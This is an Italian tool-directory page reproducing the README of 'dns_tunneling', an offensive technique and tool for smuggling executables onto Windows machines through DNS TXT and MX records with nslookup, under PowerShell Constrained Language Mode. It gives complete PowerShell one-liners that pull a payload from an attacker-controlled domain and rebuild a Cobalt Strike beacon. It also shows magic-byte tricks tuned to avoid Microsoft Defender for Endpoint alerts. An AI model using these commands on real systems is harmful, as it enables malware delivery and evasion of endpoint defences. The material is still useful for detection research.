Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DNS_Tunneling — Strumento di tunneling DNS che utilizza PowerShell e Nslookup per esfiltrare dati e recapitare payload tramite record DNS TXT/MX, bypassando Constrained Language Mode e le difese degli endpoint. | Kitploit
Strumenti/GitHubGitHub/octoberfest7/dns_tunneling
Generazione di PayloadEsfiltrazione DatiPenetration TestingCommand and ControlRed TeamingAnalisi DNS
GitHuboctoberfest7/dns_tunneling

DNS_Tunneling

Strumento di tunneling DNS che utilizza PowerShell e Nslookup per esfiltrare dati e recapitare payload tramite record DNS TXT/MX, bypassando Constrained Language Mode e le difese degli endpoint.

Vedi Repository
232374 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Introduzione

Ispirato dal lavoro recente che ho svolto riguardante i beacon DNS di Cobalt Strike, insieme a una dichiarazione d'intenti per cercare di eludere Microsoft Defender for Endpoint, ho speso un po' di tempo a studiare come il DNS potrebbe essere utilizzato per trasferire un payload su una macchina target. Volevo inoltre mettermi alla prova cercando di farlo in un modo che sia possibile anche quando PowerShell è in modalità Constrained Language Mode. Questa ricerca era mirata a implementazioni più moderne di Windows (es. Win10+, Server 2019+) ma, come vedrete più avanti, potrebbe essere possibile anche su versioni precedenti.

Contesto

Cos'è il DNS Tunneling?

Il DNS tunneling è una tecnica che esiste da molto tempo e viene utilizzata da vari attaccanti. A livello base, comporta l'uso del protocollo DNS come mezzo per l'infiltrazione/esfiltrazione di dati o come canale di comunicazione C2. Ci sono molti post di blog a cui fare riferimento per maggiori informazioni su questo argomento.

Poiché si tratta di una tecnica molto vecchia e ben nota, molte organizzazioni hanno implementato metodi di rilevamento per cercare di prevenirla.

Il tipo di record DNS preferito per il tunneling DNS è stato storicamente TXT. Questo perché i record TXT possono contenere più dati rispetto ad altri record e sono anche case-sensitive, cosa che non vale per altri record e che può avere un impatto quando si inizia a parlare di codifica.

Cos'è la Modalità Constrained Language Mode?

Constrained Language Mode (CLM) è una modalità linguistica restrittiva per PowerShell che riduce notevolmente le capacità e le funzionalità consentite di PowerShell. In breve, .NET, oggetti COM e strumenti preferiti dagli attaccanti come (new-object net.webclient).downloadstring... non sono disponibili. Questo link fornisce maggiori informazioni. Le organizzazioni impongono questa policy per gli utenti normali come parte delle regole di riduzione della superficie di attacco. Di fatto, ci rende la vita più difficile come attaccanti.

Che aspetto hanno i record DNS?

La maggior parte delle persone dovrebbe avere almeno una conoscenza superficiale del DNS grazie all'uso di strumenti come Nslookup. Ma a livello base, il client invia una query e il server DNS restituisce una risposta a quella query. Esistono diversi tipi di record DNS: CNAME, A, AAAA, TXT, MX e NS, solo per citarne alcuni. Ciascuno di questi record può memorizzare e restituire informazioni diverse. Questi record sono configurati in un Zonefile, che viene servito da un server DNS.

Un esempio di zonefile è mostrato qui:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.

root@kitploit:~
Se dovessimo interrogare i record NS per example.com, la query restituirebbe ns1.p30.dynect.net, ns2.p30.dynect.net, ns3.p30.dynect.net e ns4.p30.dynect.net.

# Ricerca

## Registrazione del nome di dominio

Prima di iniziare, dobbiamo parlare brevemente di come configurare i record DNS per puntare a un IP che controlliamo e su cui eseguiremo un server DNS. Come mostrato di seguito, ho acquistato un dominio e configurato i record DNS in modo che il sottodominio "dns" punti al sottodominio "ns1" a cui è assegnato l'IP pubblico del server.

![image](https://assets.kitploit.com/production/public/readmes/5529/bdffb5de5e760905bc821adefde45ca4dcba092639c16e201c7738aa0edda53f.png)

Ciò significa che qualsiasi richiesta per "dns.edu....com" verrà indirizzata a "ns1.edu....com" a cui è assegnato l'IP 3..86. Su quell'IP configureremo un server DNS per servire i nostri record. Torneremo su questo punto più avanti.

## Trovare uno strumento lato client

La mia ricerca è iniziata con una semplice ricerca su Google per "powershell dns module", che ha restituito [questo](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps) link. Di particolare interesse è stato il comando Resolve-DnsName. Sembra essere sostanzialmente un'implementazione PowerShell del noto binario Nslookup.exe. Da notare che è possibile richiedere tipi specifici di record:

![image](https://assets.kitploit.com/production/public/readmes/5529/c01a63bb351225d89be6f6f4b6636406f8c7891210b3e531f7dd71f2110fdea6.png)

Ok, quindi abbiamo un modulo PowerShell in grado di effettuare query DNS e recuperare la risposta. Funziona in Constrained Language Mode? La risposta è: più o meno.

Come puoi vedere qui, se apro una nuova finestra PowerShell, eseguo Resolve-DnsName, metto PowerShell in CLM (e lo testo con la semplice chiamata ::WriteLine), e poi eseguo di nuovo Resolve-DnsName, funziona senza problemi:

![image](https://assets.kitploit.com/production/public/readmes/5529/195e1c1284b9826d9ef63482d2bffa9d1b9928c228f38bfab0d4c1be58327758.png)

Tuttavia, se apro una nuova finestra PowerShell e la metto immediatamente in CLM e poi provo a eseguire Resolve-DnsName, fallisce:

![image](https://assets.kitploit.com/production/public/readmes/5529/ab5eb81e47ee1cdced01753af4e141fa9d074b67f1f5b0317938ef9365444867.png)

Sembra che se un modulo è stato caricato in precedenza, sia in grado di funzionare dopo che CLM viene applicato, ma CLM ne impedirà il caricamento se non è già stato fatto. Pensando a un ambiente target in cui CLM è applicato per impostazione predefinita per gli utenti (e senza sapere se determinati moduli sono pre-caricati o se DnsClient è tra questi), ho scelto a questo punto di abbandonare Resolve-DnsName e tornare al buon vecchio Nslookup.exe.

![image](https://assets.kitploit.com/production/public/readmes/5529/22e75abd325b04271ad418a00d9d84d53253901e93c3f2948dd827f8a121668f.png)

Nslookup.exe è un punto fermo del kit di strumenti IT e un binario molto noto utilizzato per scopi legittimi. Le probabilità sono a nostro favore che gli venga permesso di essere eseguito anche in ambienti in cui l'applicazione delle whitelist è una preoccupazione.

Nslookup restituirà più o meno le stesse informazioni della nostra query Resolve-DnsName, dovremo solo manipolarle in modo leggermente diverso quando sarà il momento.

## Trasformare un eseguibile in record DNS?

Ok, quindi abbiamo un mezzo per effettuare query DNS sul computer vittima. Come possiamo fornire il nostro payload in un formato che Nslookup possa recuperare?

Gli eseguibili sono ovviamente file binari, il che significa che non sono leggibili dall'uomo. Di conseguenza, i dati devono essere trasformati in qualcosa che possiamo inserire nei record DNS e che uno strumento come Nslookup possa recuperare. Ci sono molte opzioni di codifica a nostra disposizione, ma la considerazione principale è: cosa può decodificare la macchina vittima utilizzando solo strumenti e funzionalità nativi di Windows disponibili in CLM? Base64 è la risposta ovvia e spesso utilizzata.

Usando Base64, trasformiamo il nostro eseguibile in una grande stringa leggibile dall'uomo che può poi essere suddivisa in molti record DNS e recuperata usando Nslookup. Lato client, il noto LOLBAS certutil.exe può essere utilizzato per decodificare i record DNS aggregati da Base64 al formato binario.

Questo ci richiede di parlare un po' di più dei tipi di record DNS. Ogni tipo di record memorizza determinate informazioni in un formato particolare. I record A, ad esempio, memorizzano e restituiscono un indirizzo IPV4 (111.111.111.111). I record AAAA restituiscono un indirizzo IPV6, i record MX e NS restituiscono nomi di dominio e i record TXT possono restituire stringhe lunghe 255 caratteri. Come accennato in precedenza, a causa della lunghezza del record e della sensibilità alle maiuscole/minuscole, i record TXT sono stati la scelta ovvia per gli attaccanti, poiché ne saranno necessari meno e sono compatibili con codifiche come Base64.

Vediamo com'è.

Sulla nostra VM Kali possiamo prendere il nostro eseguibile e codificarlo in Base64. Nota l'uso dell'opzione -w 0 che rimuoverà tutti i newline, lasciandoci con una singola riga di testo Base64:

![image](https://assets.kitploit.com/production/public/readmes/5529/2675c0b2f0cb7e0279b9bd39188922e2af8f97463433bd2ae37404ef97457e5e.png)

Guardando il file si vede la Base64:

![image](https://assets.kitploit.com/production/public/readmes/5529/b6a9296128ea5ae6568e66bf1a8507985ceb7cce710d43f8d76281886e5f2839.png)

Ora dobbiamo trasformare questo file codificato in Base64 in record DNS TXT che verranno serviti dal nostro server DNS.

Ci sono alcune cose che ho imparato durante questo processo che riassumerò rapidamente qui prima di proseguire:

  **1.** Quando più record vengono restituiti per una singola query DNS, non vi è garanzia che vengano restituiti "in ordine". Questo è fondamentale per i nostri scopi, poiché dobbiamo riassemblare un file da tutti i record TXT e se sono fuori ordine non funzionerà.
  
  **2.** I record duplicati non vengono restituiti per una query. Ad esempio, nel nostro zonefile se avessimo 3 record TXT e 2 contenessero la stessa informazione, quando interrogassimo i record TXT per quel dominio verrebbero restituiti solo 2 record, poiché vengono restituiti solo i record univoci. A parte il problema del non-ordine, se avessimo, ad esempio, grandi sezioni di "AAAAA" (come nel payload codificato in Base64) da inserire in più record TXT, quando interrogassimo il nostro dominio per i record TXT, solo uno dei record TXT pieni di "A" verrebbe restituito, anche se ce ne fossero diversi nel zonefile.

Tenendo a mente questi punti, dobbiamo assicurarci che venga restituito un solo record TXT per ogni query DNS. Entrano in gioco i sottodomini. Proprio come abbiamo registrato "dns.edu...com" come sottodominio di "edu....com", possiamo fornire record per ulteriori sottodomini (ad es. 1.dns.edu....com). Possiamo creare tanti sottodomini quanti necessari per servire tutti i nostri record TXT.

Diamo un'occhiata al nostro payload codificato in Base64:

![image](https://assets.kitploit.com/production/public/readmes/5529/2afd7d53fc05fd78c30edc71db8379c76d0130f6eef0d08329499bfdeef0a554.png)

Come accennato in precedenza, possiamo inserire 255 caratteri in ogni record TXT. Dividendo 413.696/255 si ottiene 1.623 dopo l'arrotondamento per eccesso. Sono molti record TXT (e di conseguenza molti sottodomini). Tuttavia è un punto di partenza.

Ho scritto uno script Python3 per leggere il payload codificato in Base64 e creare un zonefile:

![image](https://assets.kitploit.com/production/public/readmes/5529/38318c957ce0ad15e93350cb57eb4ac53e1a1822226e9dd7ea63332e46e22429.png)

Questo script aprirà il nostro payload codificato in Base64 (comp.txt) e userà la funzione "chunkstring" (per gentile concessione di un post su Stack Overflow) per suddividere il file in blocchi lunghi 255 caratteri, con i quali creeremo i record TXT. Nota che gli IP qui sono fittizi/casuali e non necessari.

Guardando il zonefile prodotto, vediamo i nostri record TXT:

![image](https://assets.kitploit.com/production/public/readmes/5529/c0ff320fcd010bac47d7a9736d4bc0488591d15f89217943903ef6106d95991a.png)

Nota il numero all'estrema sinistra di ogni record TXT; indica il sottodominio.

Ora che il nostro zonefile è stato creato, dovremo copiarlo sul nostro server DNS e poi servirlo. Ho usato [CoreDNS](https://github.com/coredns/coredns) per questo:

![image](https://assets.kitploit.com/production/public/readmes/5529/dd79c82b16d6fcf072532d04364788d9320a29f7734d15e3ca8aa4e331d15ca6.png)

Questo mostra che sto accettando query per dns.edu....com sulla porta 53. Nel Corefile ho specificato il zonefile creato nel passaggio precedente per servire i record. Per testare che i nostri record funzionino, eseguiremo nslookup per i record TXT appartenenti a 1.dns.edu....com:

![image](https://assets.kitploit.com/production/public/readmes/5529/cad5b0ad8bfd105ab86b792377d8ce95abb3142d78045f1067e2ca8e59703348.png)

Ecco il nostro record TXT!

## Attacco!

Ora dobbiamo eseguire nslookup... 1623 volte. Meno che ideale, ma è quello che faremo per ora. Useremo questo one-liner di PowerShell per eseguire nslookup per ogni sottodominio e poi selezionare solo il record TXT ($temp[5]) e costruire $results man mano. $results viene poi scritto in ./temp.txt, e infine certutil viene usato per decodificare temp.txt in custombeacon.exe.```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe

Eseguendo il nostro comando, vediamo tutte le richieste DNS sul nostro server CoreDNS:

image

E sul nostro client vediamo che il comando Certutil è riuscito:

image

La lunghezza del nostro Output corrisponde a quella del nostro EXE originale (e funziona) - eccellente!

image

Tuttavia abbiamo un problema. Diamo un'occhiata al dashboard MDE per la nostra macchina di laboratorio di valutazione:

image

Ritorno al tavolo da disegno

Ci sono 5 avvisi qui che dobbiamo affrontare (ignora i primi due "Uso sospetto di certutil.exe per decodificare un eseguibile" poiché sono duplicati dall'esecuzione della stessa catena di attacco due volte durante il test).

1. Rilevamento sospetto della configurazione di rete di sistema - Questo riguarda l'uso del cmdlet 'Resolve-DnsName' (questo test è stato eseguito prima del passaggio a Nslookup per motivi separati)

image

2. Attacco DNS o attività sospetta - Questo riguarda l'uso di record TXT per infiltrare i nostri dati

image

3. / 4. / 5. - Uso sospetto di certutil.exe per decodificare un eseguibile / Uso di un binario living-off-the-land per eseguire codice maligno

image

1. Rilevamento sospetto della configurazione di rete di sistema

Scarteremo questo perché passeremo a Nslookup. Vedremo se continuerà a essere un problema. Non lo so, ma ho il sospetto che questo tipo di avviso possa essere ignorato da molte organizzazioni a causa della sua bassa priorità e della natura apparentemente molto facile da attivare.

2. Attacco DNS o attività sospetta

Questo avviso riguarda ancora l'uso di record TXT per contrabbandare il nostro payload; non è così sorprendente, poiché i record TXT sono da tempo i preferiti per questo tipo di attività per buone ragioni. La soluzione qui sembrerebbe essere quella di provare a utilizzare un tipo di record alternativo, qualcosa che esploreremo insieme a quanto segue nel prossimo avviso.

3. / 4. / 5. Uso sospetto di certutil.exe per decodificare un eseguibile / Uso di un binario living-off-the-land per eseguire codice maligno

Non è nemmeno così sorprendente che certutil sia stato segnalato per la decodifica del nostro payload; è un trucco vecchio come il mondo su cui qualsiasi organizzazione rispettabile dovrebbe allertare. Tuttavia l'avviso è curiosamente specifico; evidenzia che è stato utilizzato per decodificare un eseguibile. Questo mi ha portato a chiedermi cosa sarebbe successo se avessi giocato con i magic byte del nostro payload prima di codificarlo in Base64, e poi di nuovo sul lato client dopo aver usato certutil per decodificarlo. Non lo mostrerò qui, ma questo ha effettivamente aggirato l'avviso e sono stato in grado di usare certutil per decodificare un payload Base64 e poi cambiare i magic byte in MZ in modo che il payload fosse eseguibile, il tutto utilizzando funzionalità native di PowerShell.

Fuori dai sentieri battuti

Ho deciso di provare a utilizzare i record MX invece dei record TXT per contrabbandare il payload. Questo post del blog nota che la lunghezza massima di un nome DNS valido è di 255 caratteri``` (63 letters).(63 letters).(63 letters).(62 letters)

root@kitploit:~
Dato che i record MX restituiscono un nome di dominio, dovrei essere in grado di stipare parecchi dati in ogni ottetto. Dopo alcuni test ho deciso di accorciare ogni record un po' e mettere solo 50 caratteri per ottetto per un totale di 200 per record MX.

C'è tuttavia un problema. Quando si tratta di record DNS, solo i record TXT e SPF (un tipo di record TXT) fanno distinzione tra maiuscole e minuscole. Il nostro linguaggio di codifica, Base64, fa distinzione tra maiuscole e minuscole. Ho passato un paio d'ore a risolvere questo problema finché non l'ho capito, ma in conclusione, se usiamo Base64, non possiamo usare i record MX perché Nslookup restituirà sempre i record in lettere minuscole, il che rompe la nostra codifica.

Siamo costretti a trovare un altro tipo di record che sia case-sensitive e compatibile con Base64, oppure dobbiamo trovare un linguaggio di codifica diverso che Windows/PowerShell in CLM sia in grado di decodificare nativamente.

Dopo alcune [ricerche](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin) ho scoperto che Powershell è in grado di convertire hex in binario senza l'uso di .NET:```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw

# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)

Con una leggera modifica a quanto sopra (cambiando [System.IO.File]... a $bytes | set-content....) questo dovrebbe funzionare per i nostri scopi.

I record MX hanno anche un valore di "preferenza"; è sostanzialmente un ordinamento di priorità per determinare quale server MX dovrebbe essere utilizzato per un dominio. Questo può essere visto nell'esempio precedente di un file di zona come i valori "10, 20 e 30" che precedono i nomi di dominio per i record MX. Possiamo sfruttare questo valore di preferenza includendo diversi record MX per sottodominio e assicurandoci che i dati siano nell'ordine corretto ordinandoli per valore di preferenza. Questo ci permetterà di ridurre drasticamente il numero di volte che chiamiamo Nslookup rispetto a quando recuperavamo un singolo record per sottodominio con i record TXT.

image

Come mostrato sopra, i record possono essere restituiti in ordine sparso, ma con il valore di preferenza possiamo riordinarli.

Per implementare tutto ciò, ho prima scritto un piccolo script Python3 per convertire il nostro payload in hex:

image

image

Ho poi modificato lo script Python3 originale per creare un file di zona con record MX invece di record TXT:

image

Le differenze principali sono che ora stiamo suddividendo in blocchi di 200 caratteri alla volta e stiamo allocando 100 record MX per sottodominio; Questo viene tracciato dalla variabile j, dove j nel record MX è il valore di preferenza. Inizia a 10 per il primo record e incrementa di 10 fino a 1000. Quando j raggiunge 1010, si azzera a 10 e i incrementa di uno, dove la variabile i è il sottodominio specificato in ciascun record MX.

Questo script produce un file di zona come questo (mostrata la fine del file di zona):

image

Qui vengono mostrati due sottodomini (31.dns.edu....com e 32.dns.edu....com) e diversi record per ciascuno. I record possono essere differenziati dal valore di preferenza che segue ogni MX (31.dns.edu....com: 960, 970, 980, 990, 1000 32.dns.edu....com: 10, 20, 30)

Dovremo modificare il nostro comando PowerShell in modo abbastanza consistente per adattarci a questo nuovo formato. Ho mostrato lo script in Powershell ISE con commenti per spiegare meglio cosa succede in ogni passaggio, ma in effetti faremo:

-1. Per ogni sottodominio

--A Esegui Nslookup

--B Per ogni record MX restituito da Nslookup

---a. Estrai solo i nostri dati e memorizzali in un array ordinato (in base al valore di preferenza MX)

--C Aggiungi ogni stringa di dati alla nostra stringa cumulativa $results

image

Dobbiamo quindi prendere $results e riconvertire l'hex in binario prima di scriverlo su disco. È qui che utilizzeremo il PowerShell mostrato in precedenza.

Inserito in una singola riga otteniamo quanto seguito:```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe

root@kitploit:~
## Secondo tentativo

Eseguiamo il nostro comando PowerShell su una macchina di test lab MDE e vediamo cosa succede (siamo in CLM ma non mostrato):

![image](https://assets.kitploit.com/production/public/readmes/5529/5c6c02f45ade0f86708c0266ab8697ae39cf4a2a451b80044bc320f79d4add1b.png)

Eseguendo il nostro beacon (più magia è avvenuta nel backend qui per usare beacon DNS)

![image](https://assets.kitploit.com/production/public/readmes/5529/a72f193c75d9827d742100e0d35ebf19328b04d19ea1220204aabfbf5d976d8d.png)

Otteniamo un alert per il comportamento "SuspiciousFileDrop" ma si è risolto con "No threats found"... altro da esplorare. Ma tutti gli alert relativi a record TXT o Certutil per decodificare un eseguibile sono spariti.

![image](https://assets.kitploit.com/production/public/readmes/5529/3b8d333e03f641c57b3daaa1955c54597cd0826ad64f8f588ab4b2460b38510d.png)

## Solo un passo a sinistra...

A MDE non è piaciuto che PowerShell abbia scritto il nostro payload su disco. È comprensibile; in conclusione Nslookup ha scaricato un eseguibile sconosciuto da internet e lo ha salvato su disco. Come possiamo mitigare questo?

Ho deciso di rivedere i magic bytes del payload. La mia ipotesi di lavoro era che se avessi cambiato i magic bytes del payload con quelli, ad esempio, di un file .txt e lo avessi scritto su disco, poi letto quel file in una nuova variabile e riportato i magic bytes a MZ (eseguibile) e riscritto su disco, avrei potuto ingannare MDE perché l'operazione di I/O che porta l'eseguibile funzionale su disco ora ha origine da un file .txt già esistente su disco, anziché da dati recuperati da internet.

Proviamoci.

Possiamo usare VIM per aprire il nostro eseguibile sulla macchina attaccante. Notare l'intestazione MZ nei primi due byte che dichiara che questo è un eseguibile:

![image](https://assets.kitploit.com/production/public/readmes/5529/d653911c1bbdd30be5f4fb00983067b708173367aa41ceee6a80efd7f85d9164.png)

Inserendo :%!xxd possiamo modificare il file in formato esadecimale:

![image](https://assets.kitploit.com/production/public/readmes/5529/827b8179f80a7701ea7093e41343278d842c15bfdcee91395dab33d0f5356375.png)

e cambiare i primi due byte in FF FE (marchio di ordine dei byte UTF-16LE, comunemente visto nei file di testo secondo https://en.wikipedia.org/wiki/List_of_file_signatures):

![image](https://assets.kitploit.com/production/public/readmes/5529/93f32e87c51d2f1f9cda2bc6d0f38e7d46e0da06359d904a7172b94573c97fed.png)

Ora dobbiamo chiudere l'editor esadecimale inserendo :%!xxd -r che mostrerà che i nostri magic bytes sono stati effettivamente sostituiti:

![image](https://assets.kitploit.com/production/public/readmes/5529/6ccbc576cc43630b7f0dd6c39d4af7b7b281fdd2f9d140e987fb727df25eecef.png)

Possiamo quindi salvare e uscire da VIM.

Convertiremo di nuovo il nostro payload in esadecimale e poi useremo lo script python3 per inserire il payload modificato nei record MX che possono essere serviti sul nostro server DNS.

Dal lato client dovremo modificare il nostro comando PowerShell per correggere i magic bytes e rendere il nostro eseguibile nuovamente funzionante. Come accennato, nel tentativo di eludere l'alert SuspiciousFileDrop di MDE, scriveremo prima il nostro file "txt" su disco, e poi lo riprenderemo in memoria usando get-content. La modifica e l'aggiunta rilevante al nostro comando PowerShell è:```powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte

In questo comando scriviamo prima il nostro payload scaricato (con i magic byte .txt) su disco come out.txt, poi lo leggiamo in un array di byte $readfile dopo di che il primo e il secondo byte vengono impostati rispettivamente a 0x4D e 0x5A, ripristinando l'intestazione MZ del nostro payload. $readfile viene poi passato a set-content per scrivere il nostro payload funzionale su disco come new.exe.

Proviamo nella nostra VM MDE (nota: il comando appare leggermente diverso, questo verrà affrontato nella prossima sezione):

image

E sul dashboard?

image

Successo!

Cosa vede effettivamente MDE?

Abbiamo scaricato e ripristinato con successo il nostro payload in formato funzionale tramite richieste DNS e comandi powershell disponibili in Constrained Language Mode. MDE non ha segnalato nulla, ma cosa vede effettivamente MDE? La risposta è tutto.

Diamo un'occhiata alla linea temporale degli eventi per la nostra macchina di test, filtrando per eventi che coinvolgono powershell:

image

In questa immagine vediamo alcune delle chiamate nslookup.exe effettuate da powershell, ognuna delle quali ha generato un evento "T1016: System Network Configuration Discovery". Inoltre vediamo "powershell.exe dropped a packed file new.exe" che si riferisce al nostro eseguibile ora funzionale scritto nuovamente su disco dopo la modifica dei magic byte. Questo attiva alcuni ID evento, di cui il notevole è "T1027.002: Software Packing".

Filtrando questi eventi potremmo vedere quanto comune o raro sia ciascuno e quanto probabile che le nostre azioni si confondano con il rumore delle normali attività del computer.

Osservando T1016:

image

Vediamo tutte le nostre nslookup, ma vediamo anche altri eventi generati da processi come WaAppAgent.exe e WindowsAzureGuestAgent.exe. Questi a loro volta hanno eseguito cose come ipconfig.exe e arp.exe. Quindi più eseguibili diversi possono attivare T1016: System Network Configuration Discovery, cosa buona per noi che cerchiamo di passare inosservati.

Osservando T1027:

image

Le notizie sono meno buone qui. L'unico evento per T1027.002: File Packing è il nostro powershell.exe che rilascia il payload su disco. Non sono del tutto sicuro del perché questo evento si attivi per la nostra azione, ma non sono convinto che abbia a che fare con il metodo di infiltrazione DNS, piuttosto con la scrittura di un eseguibile su disco. In ogni caso, questo non ha generato un vero allarme, è solo un evento registrato.

Quanti eventi registrati ci sono e quanto bene è categorizzata la normale funzionalità del computer? Le risposte sono "tanti" e "non molto". Scorrendo per trovare gli eventi powershell, mi sono imbattuto in questo:

image

Sembra decisamente sospetto... cosa sta succedendo?

image

Oh. È solo Windows Defender ATP che esegue comandi powershell.

Il numero di eventi registrati da MDE è sbalorditivo. Finché non incappiamo in un vero allarme, non sono troppo preoccupato che le nostre azioni registrate vengano scoperte durante effetti attivi, a meno che non diamo ai difensori ragioni per andare a cercare.

Mettiamo un po' di rifinitura

Abbiamo un POC funzionante, ma ora è il momento di perfezionare il prodotto. Avevo tre obiettivi principali:

  1. Automazione
  2. Affidabilità
  3. Efficienza

Automazione

Ho iniziato combinando gli script python che trasformavano il nostro eseguibile in hex e poi creavano un zonefile. Successivamente ho rimosso tutti i riferimenti statici ai nomi di dominio che popoleranno il zonefile; questi ora vengono passati tramite argomenti della riga di comando. In terzo luogo ho aggiunto la funzionalità per creare una copia del nostro payload e quindi modificare i magic byte; questa copia modificata viene trasformata in record MX all'interno del nostro zonefile, eliminando la necessità di VIM. Infine lo script python stampa il comando powershell one-liner con il numero corretto di iterazioni per eseguire nslookup (dipendente dalla lunghezza del payload) e il dominio contro cui eseguire nslookup. Questo script python è stato caricato come "createzonefile.py".

image

Affidabilità

Per aumentare l'affidabilità dell'attacco ho dedicato del tempo a lavorare su come lo script python crea i record MX. Il principale punto problematico era l'ultimo record MX; questo contiene il resto del payload, poiché ogni altro record è riempito con 200 caratteri. A seconda di quanti dati rimangono per questo record, potremmo finire con uno, due, tre o quattro ottetti parzialmente o completamente riempiti. Ho scoperto che nslookup non avrebbe recuperato i record se c'erano troppi "." finali, come nel caso del nostro semplice script python precedente se meno di quattro ottetti erano utilizzati dall'ultimo record MX (ad esempio il record potrebbe essere "0000000000000000000000.000000.."). È stata implementata e testata una nuova logica per garantire che, indipendentemente dalla dimensione del payload o dalla quantità di dati nell'ultimo record MX, venga formattato correttamente e funzioni come previsto.

L'implementazione del comando powershell one-liner nello script python è un altro passo verso l'affidabilità, poiché garantisce che ti venga fornito il numero corretto di iterazioni di nslookup e lo stesso nome di dominio specificato nel zonefile.

Efficienza

Quest'ultimo punto riguarda principalmente il comando powershell one-liner. Volevo cercare di ridurre la lunghezza del comando il più possibile, nel caso in cui si dovesse digitare a mano su una macchina target. Prima di considerare lo script aggiunto per sostituire i magic byte, sono riuscito a ridurlo di circa il 30%.

Questi risparmi provengono da alcuni punti:

  1. Accorciare le variabili. $results diventa $o. $num diventa $a.
  2. Alias. Select-substring diventa sls. Set-content diventa sc.
  3. Usare parametri abbreviati quando possibile. Il parametro -Allmatches di select-substring può essere abbreviato -a perché non ci sono altri parametri che iniziano con a.
  4. Migliorare regex, logica dei loop e inizializzazione degli array. Ogni carattere conta!

image

Sono sicuro che si potrebbe fare di più, ma sono lontano dall'essere esperto in powershell.

Il comando powershell one-liner finale e migliorato che ripristina i magic byte MZ ed elimina il file .txt temporaneo è:

root@kitploit:~
$o = nslookup -q=mx example.com 2>$null | sls -a "MX preference" | %{$_.line.split()[-1]};$a = $o.Count;$b = 1;sc out.txt -NoNewline -Value ([byte[]]($o | %{if($b -eq $a){$_.substring($_.length-55)}else{$_.substring(0,200)}$b++}) -join '' -replace '.','$0' -split '(?<=\G.{2})(?=.)' | %{[convert]::ToByte($_,16)});$readfile = [byte[]](gc out.txt -Encoding Byte -Raw);$readfile[0]=0x4D;$readfile[1]=0x5A;sc new.exe -NoNewline -Value $readfile;ri out.txt
``````powershell
$o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<=\=\s)((\d|\w){1,50}\.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f

Considerazioni finali

L'uso del DNS per infiltrare un payload può essere un'opzione interessante in ambienti altamente restrittivi in cui i metodi normali che coinvolgono HTTP/S e/o metodi più convenzionali potrebbero non essere praticabili. In un ambiente del genere, il prossimo ostacolo sarà probabilmente l'esecuzione effettiva del payload: bypassare l'Application Whitelisting è un argomento su cui probabilmente dedicherò del tempo in futuro.

Grazie a chi è rimasto con me fino alla fine. Sono stati alcuni giorni intensi mentre esploravo e sviluppavo questo argomento e di certo ho imparato qualcosa, così come spero abbiate fatto anche voi.

Scarica lo strumento